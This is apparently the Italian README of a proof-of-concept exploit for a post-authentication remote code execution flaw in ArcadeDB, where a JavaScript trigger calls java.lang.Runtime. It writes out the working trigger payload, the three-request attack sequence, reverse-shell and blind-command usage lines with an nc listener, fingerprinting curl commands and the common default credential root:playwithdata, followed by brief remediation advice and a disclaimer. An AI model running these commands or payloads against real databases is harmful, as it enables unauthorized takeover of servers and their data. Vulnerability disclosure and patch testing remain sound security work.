CVE-2026-67340 — ArcadeDB JAVASCRIPT Trigger-Script RCE (post-autenticazione)

Esecuzione remota di codice post-autenticazione in ArcadeDB (un database multi-modello Java) tramite un trigger JAVASCRIPT che raggiunge le classi host.

Il motore poliglotta GraalVM di un trigger è costruito con una allow-list di classi host che include java.lang.* (ScriptTriggerExecutor.setAllowedPackages), quindi uno script trigger può chiamare:

Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) non lo blocca — Runtime.exec è una chiamata a metodo host consentita da HostAccess.ALL, non dall'API di processo guest di GraalVM. La creazione di un trigger richiede solo il permesso UPDATE_SCHEMA (più debole di UPDATE_SECURITY, che controlla lo scripting diretto), quindi root può farlo — una RCE post-autenticazione tramite l'API HTTP.

• Versioni interessate: ArcadeDB < 26.7.2 (0 – 26.7.1)
• Versione corretta: 26.7.2 (rimuove java.lang.* dall'allow-list dei trigger + aggiunge un HostClassLookupFilter letterale con una deny-list per processi/reflection/classloader)
• Porta predefinita: 2480 (API HTTP + Studio; autenticazione Basic)
• CWE: 94 (Iniezione di codice) / evasione dalla sandbox
• Impatto: Esecuzione di comandi del sistema operativo come utente del processo ArcadeDB

Il percorso di comando diretto language:js non è il vettore — non ha pacchetti consentiti (Java.type bloccato) ed è protetto da UPDATE_SECURITY. Solo l'esecutore trigger ha java.lang.* hard-coded.

Requisiti

Solo libreria standard di Python 3 — nessuna dipendenza. Credenziali ArcadeDB valide con UPDATE_SCHEMA (ad es. root). ArcadeDB non ha una password predefinita hard-coded, ma il suo stesso docker-compose.yml include l'esempio root:playwithdata, una credenziale comune che spesso viene lasciata così com'è.

Utilizzo

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

Come funziona

Tre richieste autenticate POST /api/v1/command/<db> (language:sql):

1. CREATE DOCUMENT TYPE Pwn
2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
3. INSERT INTO Pwn SET x = 1 — il trigger BEFORE CREATE scatta e il JavaScript viene eseguito.

Il comando del sistema operativo è racchiuso in base64, così i livelli JavaScript/SQL/JSON non richiedono alcun escaping di virgolette annidate, e lo script omette waitFor() così exec ritorna immediatamente (il processo figlio continua a girare, la richiesta non rimane bloccata).

Identificare un bersaglio

curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Rimedio

Aggiorna ad ArcadeDB ≥ 26.7.2, imposta una rootPassword robusta (mai playwithdata), non eseguire ArcadeDB come root, limita UPDATE_SCHEMA e tieni l'API HTTP/Studio lontani da reti non fidate.

Disclaimer

Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai il permesso esplicito di test.